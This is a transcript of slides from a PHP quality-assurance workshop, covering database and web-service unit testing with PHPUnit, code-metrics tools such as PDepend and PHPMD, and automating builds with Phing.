  93. 93. Testing DELETE public function testDatabaseCanDeleteAComment() " { " $comment = new Application_Model_Comment(); " $mapper = new Application_Model_CommentMapper(); " $mapper->find(1, $comment) " ->delete($comment); " $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( " $this->getConnection()); " $ds->addTable('comment', 'SELECT * FROM `comment`'); " " $expected = $this->createFlatXMLDataSet( " APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); " $this->assertDataSetsEqual($expected, $ds); " }
  94. 94. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  95. 95. Testing INSERT public function testDatabaseCanAddAComment() " { " $comment = new Application_Model_Comment(); " $comment->setFullName('Michelangelo van Dam') " ->setEmailAddress('dragonbe@gmail.com') " ->setWebsite('http://www.dragonbe.com') " ->setComment('Unit Testing, It is so addictive!!!'); " $mapper = new Application_Model_CommentMapper(); " $mapper->save($comment); " " $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( " $this->getConnection()); " $ds->addTable('comment', 'SELECT * FROM `comment`'); " " $expected = $this->createFlatXMLDataSet( " APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); " $this->assertDataSetsEqual($expected, $ds); " }
  96. 96. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  97. 97. Run Test
  98. 98. What went wrong here?
  99. 99. AUTO_INCREMENT
  100. 100. Testing INSERT w/ filter public function testDatabaseCanAddAComment() " { " $comment = new Application_Model_Comment(); " $comment->setFullName('Michelangelo van Dam') " ->setEmailAddress('dragonbe@gmail.com') " ->setWebsite('http://www.dragonbe.com') " ->setComment('Unit Testing, It is so addictive!!!'); " $mapper = new Application_Model_CommentMapper(); " $mapper->save($comment); " " $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( " $this->getConnection()); " $ds->addTable('comment', 'SELECT * FROM `comment`'); " $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( " $ds, array ('comment' => array ('id'))); " " $expected = $this->createFlatXMLDataSet( " APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); " $this->assertDataSetsEqual($expected, $filteredDs); " }
  101. 101. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  102. 102. Run Test
  103. 103. • Database testing • is SLOW • is INTEGRATION • is IRRELEVANT
  104. 104. Use Faker
  105. 105. Faker generates data! <?php " namespace ProjectObject; " ! class EntryTest extends PHPUnit_Framework_TestCase " { " protected $_faker; " protected function setUp() " { " $this->_faker = FakerFactory::create(); " } " protected function tearDown() " { " $this->_faker = null;" } " public function testPopulateVehicleWithData() " { " $entry = array ( " 'mileage' => $this->_faker->numberBetween(1, 999999), " 'quantity' => $this->_faker->randomFloat(2, 0, 80), " 'unitPrice' => $this->_faker->randomFloat(3, 0, 5), " ); " $vehicle = new Vehicle(); " $vehicle->getEntries()->add(new Entry($entry)); " $this->assertEquals($entry, $vehicle->getEntries()->current()->toArray()); " } " }
  106. 106. Testing web services
  107. 107. Web services remarks • you need to comply with an API - that will be your reference • you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues
  108. 108. Example: joind.in
  109. 109. http://joind.in/api
  110. 110. JoindinTest <?php " class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase " { " protected $_joindin; " protected $_settings; " " protected function setUp() " { " $this->_joindin = new Zftest_Service_Joindin(); " $settings = simplexml_load_file(realpath( " APPLICATION_PATH . '/../tests/_files/settings.xml')); " $this->_settings = $settings->joindin; " parent::setUp(); " } " protected function tearDown() " { " parent::tearDown(); " $this->_joindin = null; " } " }
  111. 111. JoindinTest public function testJoindinCanGetUserDetails() " { " $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; " $this->_joindin->setUsername($this->_settings->username) " ->setPassword($this->_settings->password); " $actual = $this->_joindin->user()->getDetail(); " $this->assertXmlStringEqualsXmlString($expected, $actual); " } " ! public function testJoindinCanCheckStatus() " { " $date = new DateTime(); " $date->setTimezone(new DateTimeZone('UTC')); " $expected = '<?xml version="1.0"?><response><dt>' . $date- >format('r') . '</dt><test_string>testing unit test</test_string></response>'; " $actual = $this->_joindin->site()->getStatus('testing unit test'); " $this->assertXmlStringEqualsXmlString($expected, $actual); " }
  112. 112. Testing the service
  113. 113. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response>
  114. 114. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s
  115. 115. Solution… right here!
  116. 116. Your expectations
  117. 117. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); " $client->setAdapter(new Zend_Http_Client_Adapter_Test()); " $this->_joindin->setClient($client);" $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  118. 118. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS " HTTP/1.1 200 OK " Content-type: text/xml " ! <?xml version="1.0"?> " <response> " <item> " <username>DragonBe</username> " <full_name>Michelangelo van Dam</full_name> " <ID>19</ID> " <last_login>1303248639</last_login> " </item> " </response> " EOS; " $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>';" $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  119. 119. JoindinStatusMockTest public function testJoindinCanCheckStatus() " { " $date = new DateTime(); " $date->setTimezone(new DateTimeZone('UTC')); " $response = <<<EOS " HTTP/1.1 200 OK " Content-type: text/xml " ! <?xml version="1.0"?> " <response> " <dt>{$date->format('r')}</dt> " <test_string>testing unit test</test_string> " </response> " EOS; " $client = $this->_joindin->getClient() " ->getAdapter()->setResponse($response); " $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</ dt><test_string>testing unit test</test_string></response>'; " $actual = $this->_joindin->site()->getStatus('testing unit test'); " $this->assertXmlStringEqualsXmlString($expected, $actual); " }
  120. 120. Good implementation?
  121. 121. Exercise • Get the JoindIn API client from GitHub - see https://github.com/DragonBe/joindin-client • Replace the current HTTP client adapter by a TEST adapter • Provide the data for response • Run TEST to see difference ! • NOTE: this client is already upgraded to v2.1
  122. 122. Testing it all
  123. 123. Testing it all
  124. 124. Our progress report
  125. 125. Conclusion
  126. 126. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  127. 127. Fork this code http://github.com/DragonBe/zftest
  128. 128. Measuring
  129. 129. Code Analysis
  130. 130. Questions • how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?
  131. 131. Answers • PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer
  132. 132. PHP Depend
  133. 133. What? • generates metrics • measure health • identify parts to improve (refactor)
  134. 134. pdepend pyramid
  135. 135. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes ! • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls
  136. 136. Cyclomatic Complexity • metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, … • within a single method or function • more info - http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  137. 137. Average Hierarchy Height The average of the maximum length from a root class to its deepest subclass
  138. 138. pdepend pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes
  139. 139. pdepend pyramid Size and complexity
  140. 140. pdepend pyramid Coupling
  141. 141. pdepend pyramid High value
  142. 142. pdepend-graph graph about stability: a mix between abstract and concrete classes
  143. 143. PHP Depend
  144. 144. PHP Mess Detection
  145. 145. What? • detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  146. 146. PHPMD in ac;on
  147. 147. PHP Copy/Paste Detection
  148. 148. What? • detects similar code snippets - plain copy/paste work - similar code routines • indicates problems - maintenance hell - downward spiral of disasters • stimulates improvements - refactoring of code - moving similar code snippets in common routines
  149. 149. PHP CodeSniffer
  150. 150. Required evil • validates coding standards - consistency - readability • set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code • can be set as pre-commit hook - but can cause frustration!!!
  151. 151. Performance Analysis
  152. 152. https://twitter.com/#!/andriesss/status/189712045766225920
  153. 153. Automating
  154. 154. Key reason “computers are great at doing repetitive tasks very well”
  155. 155. Repetition • syntax checking • documenting • testing • measuring
  156. 156. Why Phing? • php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation
  157. 157. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  158. 158. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <project name="Application build" default="phplint">
  159. 159. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />
  160. 160. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
  161. 161. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>
  162. 162. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build </project>
  163. 163. build.properties project.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle ! # AB Testing properties abrequests=1000 abconcurrency=10
  164. 164. local.properties project.website=http://qademo.local abrequests=1000 abconcurrency=10 ! db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo
  165. 165. Let’s run it
  166. 166. Artifacts • some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run
  167. 167. Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>
  168. 168. phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>
  169. 169. PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>
  170. 170. PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>
  171. 171. Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>
  172. 172. PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>
  173. 173. PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>
  174. 174. PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>
  175. 175. Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>
  176. 176. Other things to automate • server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync • execute remote commands with SSH • … so much more
  177. 177. Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> ! <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> ! <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> ! <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>
  178. 178. Build it
  179. 179. Continuous Integration
  180. 180. Now you are a winner!
  181. 181. Team Works!
  182. 182. Conclusion
  183. 183. Get your information in a consistent, automated way and make it accessible for the team ! More people can better safeguard the code!
  184. 184. Recommended reading • the PHP QA book -­‐ Sebas;an Bergmann -­‐ Stefan Priebsch
  185. 185. Recommended reading 2
  186. 186. Recommended reading 3 • OOD Quality Metrics -­‐ Robert Cecil Mar;n Free hKp://www.objectmentor.com/publica;ons/oodmetrc.pdf
  187. 187. Feedback/Questions Michelangelo van Dam ! michelangelo@in2it.be ! @DragonBe
  188. 188. joind.in/11778 If you enjoyed this tutorial, thank you If not, tell me how to make it better
  189. 189. Thank you
  190. 190. Credits I’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515 !!!
  • RosaSampaio2

    May. 16, 2016
  • davi_m_moreira

    Oct. 15, 2014
  • MihailIrintchev

    Oct. 5, 2014
  • JashenthreeGovender

    Oct. 4, 2014
  • justckr

    Oct. 3, 2014

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Views

Total views

1,831

On Slideshare

0

From embeds

0

Number of embeds

255

Actions

Downloads

19

Shares

0

Comments

0

Likes

5

×